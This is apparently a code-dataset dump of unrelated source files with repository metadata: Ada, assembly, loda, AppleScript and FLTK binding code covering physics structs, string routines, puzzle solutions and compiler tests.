-- impact.d3.VectorFloatData m_gravity;
-- impact.d3.VectorFloatData m_gravity_acceleration;
-- impact.d3.VectorFloatData m_invInertiaLocal;
-- impact.d3.VectorFloatData m_totalForce;
-- impact.d3.VectorFloatData m_totalTorque;
-- float m_inverseMass;
-- float m_linearDamping;
-- float m_angularDamping;
-- float m_additionalDampingFactor;
-- float m_additionalLinearDampingThresholdSqr;
-- float m_additionalAngularDampingThresholdSqr;
-- float m_additionalAngularDampingFactor;
-- float m_linearSleepingThreshold;
-- float m_angularSleepingThreshold;
-- int m_additionalDamping;
-- };
--
-- ///do not change those serialization structures, it requires an updated sBulletDNAstr/sBulletDNAstr64
-- struct impact.d3.Object.rigidDoubleData
-- {
-- impact.d3.ObjectDoubleData m_collisionObjectData;
-- impact.d3.MatrixDoubleData m_invInertiaTensorWorld;
-- impact.d3.VectorDoubleData m_linearVelocity;
-- impact.d3.VectorDoubleData m_angularVelocity;
-- impact.d3.VectorDoubleData m_angularFactor;
-- impact.d3.VectorDoubleData m_linearFactor;
-- impact.d3.VectorDoubleData m_gravity;
-- impact.d3.VectorDoubleData m_gravity_acceleration;
-- impact.d3.VectorDoubleData m_invInertiaLocal;
-- impact.d3.VectorDoubleData m_totalForce;
-- impact.d3.VectorDoubleData m_totalTorque;
-- double m_inverseMass;
-- double m_linearDamping;
-- double m_angularDamping;
-- double m_additionalDampingFactor;
-- double m_additionalLinearDampingThresholdSqr;
-- double m_additionalAngularDampingThresholdSqr;
-- double m_additionalAngularDampingFactor;
-- double m_linearSleepingThreshold;
-- double m_angularSleepingThreshold;
-- int m_additionalDamping;
-- char m_padding[4];
-- };
--
--
--
-- #endif //BT_RIGIDBODY_H
|
day14/src/main.adb | jwarwick/aoc_2020 | 3 | 1311 | <reponame>jwarwick/aoc_2020
-- AOC 2020, Day 14
with Ada.Text_IO; use Ada.Text_IO;
with Day; use Day;
procedure main is
p : constant Program := load_file("input.txt");
part1 : constant Long_Integer := sum_memory(p);
part2 : constant Long_Integer := sum_memory_v2(p);
begin
put_line("Part 1: " & Long_Integer'Image(part1));
put_line("Part 2: " & Long_Integer'Image(part2));
end main;
|
ugbc/src/hw/tms9918/cls_graphic.asm | spotlessmind1975/ugbasic | 10 | 177846 | <filename>ugbc/src/hw/tms9918/cls_graphic.asm
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 <NAME> (<EMAIL>)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* CLEAR SCREEN ROUTINE FOR TMS9918 (graphic mode) *
;* *
;* by <NAME> *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
; NAME COLOR PATTERN
; VDPUPDATE0: $0000
; VDPUPDATE1: $0000 $0480 $0800
; VDPUPDATE2: $3800 $2000
; VDPUPDATE3: $3800 $2000 $0000
CLSG:
LD A, 0
LD DE, $3800
LD BC, 256*3
CALL VDPFILLA
LD BC, 256*8*3
LD DE, $0000
LD A, 0
CALL VDPFILL
LD BC, 32*24*8
LD DE, $2000
LD A, (_PAPER)
CALL VDPFILL
RET
|
Fire Alarm - Smoke Detector/files/alarm_rim.asm | sanils2002/ASSEMBLY-PROJECTS | 0 | 243545 | <reponame>sanils2002/ASSEMBLY-PROJECTS
START: RIM
RAL
JNC START
MVI A,#C0H
SIM
JMP START
|
oeis/350/A350384.asm | neoneye/loda-programs | 11 | 15205 | <reponame>neoneye/loda-programs
; A350384: a(n) = (-1728)^n.
; Submitted by <NAME>
; 1,-1728,2985984,-5159780352,8916100448256,-15407021574586368,26623333280885243904,-46005119909369701466112,79496847203390844133441536,-137370551967459378662586974208,237376313799769806328950291431424,-410186270246002225336426103593500672
mul $0,3
mov $2,-12
pow $2,$0
mov $0,$2
|
shellcode/amd64/nop.asm | r0ck3rt/gopwn | 9 | 6419 | nop |
programs/oeis/075/A075425.asm | neoneye/loda | 22 | 244916 | <reponame>neoneye/loda
; A075425: Number of steps to reach 1 starting with n and iterating the map n ->rad(n)-1, where rad(n) is the squarefree kernel of n (A007947).
; 0,1,2,1,2,3,4,1,2,3,4,3,4,5,6,1,2,3,4,3,4,5,6,3,2,3,2,5,6,7,8,1,2,3,4,3,4,5,6,3,4,5,6,5,6,7,8,3,4,3,4,3,4,3,4,5,6,7,8,7,8,9,4,1,2,3,4,3,4,5,6,3,4,5,6,5,6,7,8,3,2,3,4,5,6,7,8,5,6,7,8,7,8,9,10,3,4,5,2,3
lpb $0
seq $0,7947 ; Largest squarefree number dividing n: the squarefree kernel of n, rad(n), radical of n.
sub $0,2
add $1,1
lpe
mov $0,$1
|
Applescript/Reset_NPC_Groups.applescript | dustindmiller/QTableTop | 1 | 3448 | <filename>Applescript/Reset_NPC_Groups.applescript
tell application id "com.figure53.QLab.4" to tell front workspace
set doubleChecker to (display dialog "Please Confirm Total NPC Movement Group Reset..." with title "Reset NPC Movement Group" buttons {"Confirm", "Cancel"} default button "Confirm" giving up after 5)
set doubleCheck to button returned of doubleChecker
if doubleCheck is "Cancel" then return
if doubleCheck is "Confirm" then
set partyList to (q number of cues of cue "NPCs" & q number of cues of cue "NPC A" & q number of cues of cue "NPC B" & q number of cues of cue "NPC C" & q number of cues of cue "NPC D")
set groupList to (q number of cues of cue "NPC GROUPS")
repeat with message in partyList
move cue id (uniqueID of cue message) of parent of cue message to end of cue "NPCs"
set text of cue (message & " GROUP") to " "
end repeat
repeat with messageTwo in groupList
set currentTIDs to AppleScript's text item delimiters
set AppleScript's text item delimiters to " | " -- Choose your delimiter
set numList to q number of cues of cue messageTwo
set q name of cue ("· " & messageTwo) to "Empty"
set q color of cue ("· " & messageTwo) to "Grey"
set armed of cue ("· " & messageTwo) to false
set AppleScript's text item delimiters to currentTIDs -- It's good practice to set them back
end repeat
end if
end tell |
source/core/lace-generic_engines.adb | reznikmm/lace | 0 | 23124 | -- SPDX-FileCopyrightText: 2021 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
package body Lace.Generic_Engines is
------------------
-- Get_Property --
------------------
function Get_Property
(Self : access Engine;
Element : Program.Elements.Element_Access;
Name : Property_Name)
return Property_Value
is
Key : constant Property_Key :=
(Lace.Element_Flat_Kinds.Flat_Kind (Element), Name);
Descriptor : constant Property_Descriptor := Self.Descriptor (Key);
Variant : Variant_Kind;
Formula : Formula_Access;
begin
if Descriptor.Selector = null then
return Descriptor.Formula (Self.Context, Element, Name);
else
Variant := Descriptor.Selector (Self.Context, Element, Name);
Formula := Self.Varian.Element ((Key, Variant));
return Formula.all (Self.Context, Element, Name);
end if;
end Get_Property;
------------------
-- Get_Property --
------------------
function Get_Property
(Self : access Engine;
List : Program.Element_Vectors.Element_Vector_Access;
Name : Property_Name;
Empty : Property_Value;
Sum : access function
(Left, Right : Property_Value) return Property_Value)
return Property_Value
is
Result : Property_Value := Empty;
begin
for Cursor in List.Each_Element loop
declare
Next : constant Property_Value := Self.Get_Property
(Cursor.Element, Name);
begin
Result := Sum (Result, Next);
end;
end loop;
return Result;
end Get_Property;
----------
-- Hash --
----------
function Hash (Value : Property_Key) return Ada.Containers.Hash_Type is
use type Ada.Containers.Hash_Type;
begin
return 997 * Ada.Containers.Hash_Type'Mod
(Lace.Element_Flat_Kinds.Element_Flat_Kind'Pos (Value.Kind))
+ Ada.Containers.Hash_Type'Mod (Property_Name'Pos (Value.Name));
end Hash;
----------
-- Hash --
----------
function Hash (Value : Varian_Key) return Ada.Containers.Hash_Type is
use type Ada.Containers.Hash_Type;
begin
return 7901 * Hash (Value.Variant) + Hash (Value.Property);
end Hash;
----------------------
-- Register_Formula --
----------------------
procedure Register_Formula
(Self : in out Engine;
Kind : Lace.Element_Flat_Kinds.Element_Flat_Kind;
Name : Property_Name;
Formula : not null Formula_Access) is
begin
Self.Descriptor.Insert ((Kind, Name), (Formula, null));
end Register_Formula;
-----------------------
-- Register_Selector --
-----------------------
procedure Register_Selector
(Self : in out Engine;
Kind : Lace.Element_Flat_Kinds.Element_Flat_Kind;
Name : Property_Name;
Selector : not null Selector_Access) is
begin
Self.Descriptor.Insert ((Kind, Name), (null, Selector));
end Register_Selector;
----------------------
-- Register_Variant --
----------------------
procedure Register_Variant
(Self : in out Engine;
Kind : Lace.Element_Flat_Kinds.Element_Flat_Kind;
Name : Property_Name;
Variant : Variant_Kind;
Formula : access function
(Engine : access Abstract_Context;
Element : Program.Elements.Element_Access;
Name : Property_Name)
return Property_Value) is
begin
pragma Assert (Self.Descriptor.Element ((Kind, Name)).Selector /= null);
Self.Varian.Insert (((Kind, Name), Variant), Formula);
end Register_Variant;
end Lace.Generic_Engines;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/specs/noinline3.ads | best08618/asylo | 7 | 12484 | -- { dg-do compile }
-- { dg-options "-O2 -fdump-tree-optimized" }
with Noinline3_Pkg;
package Noinline3 is new Noinline3_Pkg (0);
-- { dg-final { scan-tree-dump-times "noinline3.inner" 2 "optimized" } }
|
source/features/string.asm | henriland/myos | 1 | 80516 | ; ==================================================================
; STRING MANIPULATION ROUTINES
; ==================================================================
; ------------------------------------------------------------------
; os_string_length -- Return length of a string
; IN: AX = string location
; OUT AX = length (other regs preserved)
os_string_length:
pusha
mov bx, ax ; Move location of string to BX
mov cx, 0 ; Counter
.more:
cmp byte [bx], 0 ; Zero (end of string) yet?
je .done
inc bx ; If not, keep adding
inc cx
jmp .more
.done:
mov word [.tmp_counter], cx ; Store count before restoring other registers
popa
mov ax, [.tmp_counter] ; Put count back into AX before returning
ret
.tmp_counter dw 0
; ------------------------------------------------------------------
; os_string_reverse -- Reverse the characters in a string
; IN: SI = string location
os_string_reverse:
pusha
cmp byte [si], 0 ; Don't attempt to reverse empty string
je .end
mov ax, si
call os_string_length
mov di, si
add di, ax
dec di ; DI now points to last char in string
.loop:
mov byte al, [si] ; Swap bytes
mov byte bl, [di]
mov byte [si], bl
mov byte [di], al
inc si ; Move towards string centre
dec di
cmp di, si ; Both reached the centre?
ja .loop
.end:
popa
ret
; ------------------------------------------------------------------
; os_find_char_in_string -- Find location of character in a string
; IN: SI = string location, AL = character to find
; OUT: AX = location in string, or 0 if char not present
os_find_char_in_string:
pusha
mov cx, 1 ; Counter -- start at first char (we count
; from 1 in chars here, so that we can
; return 0 if the source char isn't found)
.more:
cmp byte [si], al
je .done
cmp byte [si], 0
je .notfound
inc si
inc cx
jmp .more
.done:
mov [.tmp], cx
popa
mov ax, [.tmp]
ret
.notfound:
popa
mov ax, 0
ret
.tmp dw 0
; ------------------------------------------------------------------
; os_string_charchange -- Change instances of character in a string
; IN: SI = string, AL = char to find, BL = char to replace with
os_string_charchange:
pusha
mov cl, al
.loop:
mov byte al, [si]
cmp al, 0
je .finish
cmp al, cl
jne .nochange
mov byte [si], bl
.nochange:
inc si
jmp .loop
.finish:
popa
ret
; ------------------------------------------------------------------
; os_string_uppercase -- Convert zero-terminated string to upper case
; IN/OUT: AX = string location
os_string_uppercase:
pusha
mov si, ax ; Use SI to access string
.more:
cmp byte [si], 0 ; Zero-termination of string?
je .done ; If so, quit
cmp byte [si], 'a' ; In the lower case A to Z range?
jb .noatoz
cmp byte [si], 'z'
ja .noatoz
sub byte [si], 20h ; If so, convert input char to upper case
inc si
jmp .more
.noatoz:
inc si
jmp .more
.done:
popa
ret
; ------------------------------------------------------------------
; os_string_lowercase -- Convert zero-terminated string to lower case
; IN/OUT: AX = string location
os_string_lowercase:
pusha
mov si, ax ; Use SI to access string
.more:
cmp byte [si], 0 ; Zero-termination of string?
je .done ; If so, quit
cmp byte [si], 'A' ; In the upper case A to Z range?
jb .noatoz
cmp byte [si], 'Z'
ja .noatoz
add byte [si], 20h ; If so, convert input char to lower case
inc si
jmp .more
.noatoz:
inc si
jmp .more
.done:
popa
ret
; ------------------------------------------------------------------
; os_string_copy -- Copy one string into another
; IN/OUT: SI = source, DI = destination (programmer ensure sufficient room)
os_string_copy:
pusha
.more:
mov al, [si] ; Transfer contents (at least one byte terminator)
mov [di], al
inc si
inc di
cmp byte al, 0 ; If source string is empty, quit out
jne .more
.done:
popa
ret
; ------------------------------------------------------------------
; os_string_truncate -- Chop string down to specified number of characters
; IN: SI = string location, AX = number of characters
; OUT: String modified, registers preserved
os_string_truncate:
pusha
add si, ax
mov byte [si], 0
popa
ret
; ------------------------------------------------------------------
; os_string_join -- Join two strings into a third string
; IN/OUT: AX = string one, BX = string two, CX = destination string
os_string_join:
pusha
mov si, ax ; Put first string into CX
mov di, cx
call os_string_copy
call os_string_length ; Get length of first string
add cx, ax ; Position at end of first string
mov si, bx ; Add second string onto it
mov di, cx
call os_string_copy
popa
ret
; ------------------------------------------------------------------
; os_string_chomp -- Strip leading and trailing spaces from a string
; IN: AX = string location
os_string_chomp:
pusha
mov dx, ax ; Save string location
mov di, ax ; Put location into DI
mov cx, 0 ; Space counter
.keepcounting: ; Get number of leading spaces into BX
cmp byte [di], ' '
jne .counted
inc cx
inc di
jmp .keepcounting
.counted:
cmp cx, 0 ; No leading spaces?
je .finished_copy
mov si, di ; Address of first non-space character
mov di, dx ; DI = original string start
.keep_copying:
mov al, [si] ; Copy SI into DI
mov [di], al ; Including terminator
cmp al, 0
je .finished_copy
inc si
inc di
jmp .keep_copying
.finished_copy:
mov ax, dx ; AX = original string start
call os_string_length
cmp ax, 0 ; If empty or all blank, done, return 'null'
je .done
mov si, dx
add si, ax ; Move to end of string
.more:
dec si
cmp byte [si], ' '
jne .done
mov byte [si], 0 ; Fill end spaces with 0s
jmp .more ; (First 0 will be the string terminator)
.done:
popa
ret
; ------------------------------------------------------------------
; os_string_strip -- Removes specified character from a string (max 255 chars)
; IN: SI = string location, AL = character to remove
os_string_strip:
pusha
mov di, si
mov bl, al ; Copy the char into BL since LODSB and STOSB use AL
.nextchar:
lodsb
stosb
cmp al, 0 ; Check if we reached the end of the string
je .finish ; If so, bail out
cmp al, bl ; Check to see if the character we read is the interesting char
jne .nextchar ; If not, skip to the next character
.skip: ; If so, the fall through to here
dec di ; Decrement DI so we overwrite on the next pass
jmp .nextchar
.finish:
popa
ret
; ------------------------------------------------------------------
; os_string_compare -- See if two strings match
; IN: SI = string one, DI = string two
; OUT: carry set if same, clear if different
os_string_compare:
pusha
.more:
mov al, [si] ; Retrieve string contents
mov bl, [di]
cmp al, bl ; Compare characters at current location
jne .not_same
cmp al, 0 ; End of first string? Must also be end of second
je .terminated
inc si
inc di
jmp .more
.not_same: ; If unequal lengths with same beginning, the byte
popa ; comparison fails at shortest string terminator
clc ; Clear carry flag
ret
.terminated: ; Both strings terminated at the same position
popa
stc ; Set carry flag
ret
; ------------------------------------------------------------------
; os_string_strincmp -- See if two strings match up to set number of chars
; IN: SI = string one, DI = string two, CL = chars to check
; OUT: carry set if same, clear if different
os_string_strincmp:
pusha
.more:
mov al, [si] ; Retrieve string contents
mov bl, [di]
cmp al, bl ; Compare characters at current location
jne .not_same
cmp al, 0 ; End of first string? Must also be end of second
je .terminated
inc si
inc di
dec cl ; If we've lasted through our char count
cmp cl, 0 ; Then the bits of the string match!
je .terminated
jmp .more
.not_same: ; If unequal lengths with same beginning, the byte
popa ; comparison fails at shortest string terminator
clc ; Clear carry flag
ret
.terminated: ; Both strings terminated at the same position
popa
stc ; Set carry flag
ret
; ------------------------------------------------------------------
; os_string_parse -- Take string (eg "run foo bar baz") and return
; pointers to zero-terminated strings (eg AX = "run", BX = "foo" etc.)
; IN: SI = string; OUT: AX, BX, CX, DX = individual strings
os_string_parse:
push si
mov ax, si ; AX = start of first string
mov bx, 0 ; By default, other strings start empty
mov cx, 0
mov dx, 0
push ax ; Save to retrieve at end
.loop1:
lodsb ; Get a byte
cmp al, 0 ; End of string?
je .finish
cmp al, ' ' ; A space?
jne .loop1
dec si
mov byte [si], 0 ; If so, zero-terminate this bit of the string
inc si ; Store start of next string in BX
mov bx, si
.loop2: ; Repeat the above for CX and DX...
lodsb
cmp al, 0
je .finish
cmp al, ' '
jne .loop2
dec si
mov byte [si], 0
inc si
mov cx, si
.loop3:
lodsb
cmp al, 0
je .finish
cmp al, ' '
jne .loop3
dec si
mov byte [si], 0
inc si
mov dx, si
.finish:
pop ax
pop si
ret
; ------------------------------------------------------------------
; os_string_to_int -- Convert decimal string to integer value
; IN: SI = string location (max 5 chars, up to '65536')
; OUT: AX = number
os_string_to_int:
pusha
mov ax, si ; First, get length of string
call os_string_length
add si, ax ; Work from rightmost char in string
dec si
mov cx, ax ; Use string length as counter
mov bx, 0 ; BX will be the final number
mov ax, 0
; As we move left in the string, each char is a bigger multiple. The
; right-most character is a multiple of 1, then next (a char to the
; left) a multiple of 10, then 100, then 1,000, and the final (and
; leftmost char) in a five-char number would be a multiple of 10,000
mov word [.multiplier], 1 ; Start with multiples of 1
.loop:
mov ax, 0
mov byte al, [si] ; Get character
sub al, 48 ; Convert from ASCII to real number
mul word [.multiplier] ; Multiply by our multiplier
add bx, ax ; Add it to BX
push ax ; Multiply our multiplier by 10 for next char
mov word ax, [.multiplier]
mov dx, 10
mul dx
mov word [.multiplier], ax
pop ax
dec cx ; Any more chars?
cmp cx, 0
je .finish
dec si ; Move back a char in the string
jmp .loop
.finish:
mov word [.tmp], bx
popa
mov word ax, [.tmp]
ret
.multiplier dw 0
.tmp dw 0
; ------------------------------------------------------------------
; os_int_to_string -- Convert unsigned integer to string
; IN: AX = signed int
; OUT: AX = string location
os_int_to_string:
pusha
mov cx, 0
mov bx, 10 ; Set BX 10, for division and mod
mov di, .t ; Get our pointer ready
.push:
mov dx, 0
div bx ; Remainder in DX, quotient in AX
inc cx ; Increase pop loop counter
push dx ; Push remainder, so as to reverse order when popping
test ax, ax ; Is quotient zero?
jnz .push ; If not, loop again
.pop:
pop dx ; Pop off values in reverse order, and add 48 to make them digits
add dl, '0' ; And save them in the string, increasing the pointer each time
mov [di], dl
inc di
dec cx
jnz .pop
mov byte [di], 0 ; Zero-terminate string
popa
mov ax, .t ; Return location of string
ret
.t times 7 db 0
; ------------------------------------------------------------------
; os_sint_to_string -- Convert signed integer to string
; IN: AX = signed int
; OUT: AX = string location
os_sint_to_string:
pusha
mov cx, 0
mov bx, 10 ; Set BX 10, for division and mod
mov di, .t ; Get our pointer ready
test ax, ax ; Find out if X > 0 or not, force a sign
js .neg ; If negative...
jmp .push ; ...or if positive
.neg:
neg ax ; Make AX positive
mov byte [.t], '-' ; Add a minus sign to our string
inc di ; Update the index
.push:
mov dx, 0
div bx ; Remainder in DX, quotient in AX
inc cx ; Increase pop loop counter
push dx ; Push remainder, so as to reverse order when popping
test ax, ax ; Is quotient zero?
jnz .push ; If not, loop again
.pop:
pop dx ; Pop off values in reverse order, and add 48 to make them digits
add dl, '0' ; And save them in the string, increasing the pointer each time
mov [di], dl
inc di
dec cx
jnz .pop
mov byte [di], 0 ; Zero-terminate string
popa
mov ax, .t ; Return location of string
ret
.t times 7 db 0
; ------------------------------------------------------------------
; os_long_int_to_string -- Convert value in DX:AX to string
; IN: DX:AX = long unsigned integer, BX = number base, DI = string location
; OUT: DI = location of converted string
os_long_int_to_string:
pusha
mov si, di ; Prepare for later data movement
mov word [di], 0 ; Terminate string, creates 'null'
cmp bx, 37 ; Base > 37 or < 0 not supported, return null
ja .done
cmp bx, 0 ; Base = 0 produces overflow, return null
je .done
.conversion_loop:
mov cx, 0 ; Zero extend unsigned integer, number = CX:DX:AX
; If number = 0, goes through loop once and stores '0'
xchg ax, cx ; Number order DX:AX:CX for high order division
xchg ax, dx
div bx ; AX = high quotient, DX = high remainder
xchg ax, cx ; Number order for low order division
div bx ; CX = high quotient, AX = low quotient, DX = remainder
xchg cx, dx ; CX = digit to send
.save_digit:
cmp cx, 9 ; Eliminate punctuation between '9' and 'A'
jle .convert_digit
add cx, 'A'-'9'-1
.convert_digit:
add cx, '0' ; Convert to ASCII
push ax ; Load this ASCII digit into the beginning of the string
push bx
mov ax, si
call os_string_length ; AX = length of string, less terminator
mov di, si
add di, ax ; DI = end of string
inc ax ; AX = nunber of characters to move, including terminator
.move_string_up:
mov bl, [di] ; Put digits in correct order
mov [di+1], bl
dec di
dec ax
jnz .move_string_up
pop bx
pop ax
mov [si], cl ; Last digit (LSD) will print first (on left)
.test_end:
mov cx, dx ; DX = high word, again
or cx, ax ; Nothing left?
jnz .conversion_loop
.done:
popa
ret
; ------------------------------------------------------------------
; os_set_time_fmt -- Set time reporting format (eg '10:25 AM' or '2300 hours')
; IN: AL = format flag, 0 = 12-hr format
os_set_time_fmt:
pusha
cmp al, 0
je .store
mov al, 0FFh
.store:
mov [fmt_12_24], al
popa
ret
; ------------------------------------------------------------------
; os_get_time_string -- Get current time in a string (eg '10:25')
; IN/OUT: BX = string location
os_get_time_string:
pusha
mov di, bx ; Location to place time string
clc ; For buggy BIOSes
mov ah, 2 ; Get time data from BIOS in BCD format
int 1Ah
jnc .read
clc
mov ah, 2 ; BIOS was updating (~1 in 500 chance), so try again
int 1Ah
.read:
mov al, ch ; Convert hours to integer for AM/PM test
call os_bcd_to_int
mov dx, ax ; Save
mov al, ch ; Hour
shr al, 4 ; Tens digit - move higher BCD number into lower bits
and ch, 0Fh ; Ones digit
test byte [fmt_12_24], 0FFh
jz .twelve_hr
call .add_digit ; BCD already in 24-hour format
mov al, ch
call .add_digit
jmp short .minutes
.twelve_hr:
cmp dx, 0 ; If 00mm, make 12 AM
je .midnight
cmp dx, 10 ; Before 1000, OK to store 1 digit
jl .twelve_st1
cmp dx, 12 ; Between 1000 and 1300, OK to store 2 digits
jle .twelve_st2
mov ax, dx ; Change from 24 to 12-hour format
sub ax, 12
mov bl, 10
div bl
mov ch, ah
cmp al, 0 ; 1-9 PM
je .twelve_st1
jmp short .twelve_st2 ; 10-11 PM
.midnight:
mov al, 1
mov ch, 2
.twelve_st2:
call .add_digit ; Modified BCD, 2-digit hour
.twelve_st1:
mov al, ch
call .add_digit
mov al, ':' ; Time separator (12-hr format)
stosb
.minutes:
mov al, cl ; Minute
shr al, 4 ; Tens digit - move higher BCD number into lower bits
and cl, 0Fh ; Ones digit
call .add_digit
mov al, cl
call .add_digit
mov al, ' ' ; Separate time designation
stosb
mov si, .hours_string ; Assume 24-hr format
test byte [fmt_12_24], 0FFh
jnz .copy
mov si, .pm_string ; Assume PM
cmp dx, 12 ; Test for AM/PM
jg .copy
mov si, .am_string ; Was actually AM
.copy:
lodsb ; Copy designation, including terminator
stosb
cmp al, 0
jne .copy
popa
ret
.add_digit:
add al, '0' ; Convert to ASCII
stosb ; Put into string buffer
ret
.hours_string db 'hours', 0
.am_string db 'AM', 0
.pm_string db 'PM', 0
; ------------------------------------------------------------------
; os_set_date_fmt -- Set date reporting format (M/D/Y, D/M/Y or Y/M/D - 0, 1, 2)
; IN: AX = format flag, 0-2
; If AX bit 7 = 1 = use name for months
; If AX bit 7 = 0, high byte = separator character
os_set_date_fmt:
pusha
test al, 80h ; ASCII months (bit 7)?
jnz .fmt_clear
and ax, 7F03h ; 7-bit ASCII separator and format number
jmp short .fmt_test
.fmt_clear:
and ax, 0003 ; Ensure separator is clear
.fmt_test:
cmp al, 3 ; Only allow 0, 1 and 2
jae .leave
mov [fmt_date], ax
.leave:
popa
ret
; ------------------------------------------------------------------
; os_get_date_string -- Get current date in a string (eg '12/31/2007')
; IN/OUT: BX = string location
os_get_date_string:
pusha
mov di, bx ; Store string location for now
mov bx, [fmt_date] ; BL = format code
and bx, 7F03h ; BH = separator, 0 = use month names
clc ; For buggy BIOSes
mov ah, 4 ; Get date data from BIOS in BCD format
int 1Ah
jnc .read
clc
mov ah, 4 ; BIOS was updating (~1 in 500 chance), so try again
int 1Ah
.read:
cmp bl, 2 ; YYYY/MM/DD format, suitable for sorting
jne .try_fmt1
mov ah, ch ; Always provide 4-digit year
call .add_2digits
mov ah, cl
call .add_2digits ; And '/' as separator
mov al, '/'
stosb
mov ah, dh ; Always 2-digit month
call .add_2digits
mov al, '/' ; And '/' as separator
stosb
mov ah, dl ; Always 2-digit day
call .add_2digits
jmp .done
.try_fmt1:
cmp bl, 1 ; D/M/Y format (military and Europe)
jne .do_fmt0
mov ah, dl ; Day
call .add_1or2digits
mov al, bh
cmp bh, 0
jne .fmt1_day
mov al, ' ' ; If ASCII months, use space as separator
.fmt1_day:
stosb ; Day-month separator
mov ah, dh ; Month
cmp bh, 0 ; ASCII?
jne .fmt1_month
call .add_month ; Yes, add to string
mov ax, ', '
stosw
jmp short .fmt1_century
.fmt1_month:
call .add_1or2digits ; No, use digits and separator
mov al, bh
stosb
.fmt1_century:
mov ah, ch ; Century present?
cmp ah, 0
je .fmt1_year
call .add_1or2digits ; Yes, add it to string (most likely 2 digits)
.fmt1_year:
mov ah, cl ; Year
call .add_2digits ; At least 2 digits for year, always
jmp .done
.do_fmt0: ; Default format, M/D/Y (US and others)
mov ah, dh ; Month
cmp bh, 0 ; ASCII?
jne .fmt0_month
call .add_month ; Yes, add to string and space
mov al, ' '
stosb
jmp short .fmt0_day
.fmt0_month:
call .add_1or2digits ; No, use digits and separator
mov al, bh
stosb
.fmt0_day:
mov ah, dl ; Day
call .add_1or2digits
mov al, bh
cmp bh, 0 ; ASCII?
jne .fmt0_day2
mov al, ',' ; Yes, separator = comma space
stosb
mov al, ' '
.fmt0_day2:
stosb
.fmt0_century:
mov ah, ch ; Century present?
cmp ah, 0
je .fmt0_year
call .add_1or2digits ; Yes, add it to string (most likely 2 digits)
.fmt0_year:
mov ah, cl ; Year
call .add_2digits ; At least 2 digits for year, always
.done:
mov ax, 0 ; Terminate date string
stosw
popa
ret
.add_1or2digits:
test ah, 0F0h
jz .only_one
call .add_2digits
jmp short .two_done
.only_one:
mov al, ah
and al, 0Fh
call .add_digit
.two_done:
ret
.add_2digits:
mov al, ah ; Convert AH to 2 ASCII digits
shr al, 4
call .add_digit
mov al, ah
and al, 0Fh
call .add_digit
ret
.add_digit:
add al, '0' ; Convert AL to ASCII
stosb ; Put into string buffer
ret
.add_month:
push bx
push cx
mov al, ah ; Convert month to integer to index print table
call os_bcd_to_int
dec al ; January = 0
mov bl, 4 ; Multiply month by 4 characters/month
mul bl
mov si, .months
add si, ax
mov cx, 4
rep movsb
cmp byte [di-1], ' ' ; May?
jne .done_month ; Yes, eliminate extra space
dec di
.done_month:
pop cx
pop bx
ret
.months db 'Jan.Feb.Mar.Apr.May JuneJulyAug.SeptOct.Nov.Dec.'
; ------------------------------------------------------------------
; os_string_tokenize -- Reads tokens separated by specified char from
; a string. Returns pointer to next token, or 0 if none left
; IN: AL = separator char, SI = beginning; OUT: DI = next token or 0 if none
os_string_tokenize:
push si
.next_char:
cmp byte [si], al
je .return_token
cmp byte [si], 0
jz .no_more
inc si
jmp .next_char
.return_token:
mov byte [si], 0
inc si
mov di, si
pop si
ret
.no_more:
mov di, 0
pop si
ret
; ==================================================================
|
src/fltk-environment.adb | micahwelf/FLTK-Ada | 1 | 11969 | <filename>src/fltk-environment.adb
with
Interfaces.C.Strings,
System;
use type
Interfaces.C.int,
Interfaces.C.Strings.chars_ptr,
System.Address;
package body FLTK.Environment is
function new_fl_preferences
(P, V, A : in Interfaces.C.char_array)
return System.Address;
pragma Import (C, new_fl_preferences, "new_fl_preferences");
pragma Inline (new_fl_preferences);
procedure free_fl_preferences
(E : in System.Address);
pragma Import (C, free_fl_preferences, "free_fl_preferences");
pragma Inline (free_fl_preferences);
function fl_preferences_entries
(E : in System.Address)
return Interfaces.C.int;
pragma Import (C, fl_preferences_entries, "fl_preferences_entries");
pragma Inline (fl_preferences_entries);
function fl_preferences_entry
(E : in System.Address;
I : in Interfaces.C.int)
return Interfaces.C.Strings.chars_ptr;
pragma Import (C, fl_preferences_entry, "fl_preferences_entry");
pragma Inline (fl_preferences_entry);
function fl_preferences_entryexists
(E : in System.Address;
K : in Interfaces.C.char_array)
return Interfaces.C.int;
pragma Import (C, fl_preferences_entryexists, "fl_preferences_entryexists");
pragma Inline (fl_preferences_entryexists);
function fl_preferences_size
(E : in System.Address;
K : in Interfaces.C.char_array)
return Interfaces.C.int;
pragma Import (C, fl_preferences_size, "fl_preferences_size");
pragma Inline (fl_preferences_size);
function fl_preferences_get_int
(E : in System.Address;
K : in Interfaces.C.char_array;
V : out Interfaces.C.int;
D : in Interfaces.C.int)
return Interfaces.C.int;
pragma Import (C, fl_preferences_get_int, "fl_preferences_get_int");
pragma Inline (fl_preferences_get_int);
function fl_preferences_get_float
(E : in System.Address;
K : in Interfaces.C.char_array;
V : out Interfaces.C.C_float;
D : in Interfaces.C.C_float)
return Interfaces.C.int;
pragma Import (C, fl_preferences_get_float, "fl_preferences_get_float");
pragma Inline (fl_preferences_get_float);
function fl_preferences_get_double
(E : in System.Address;
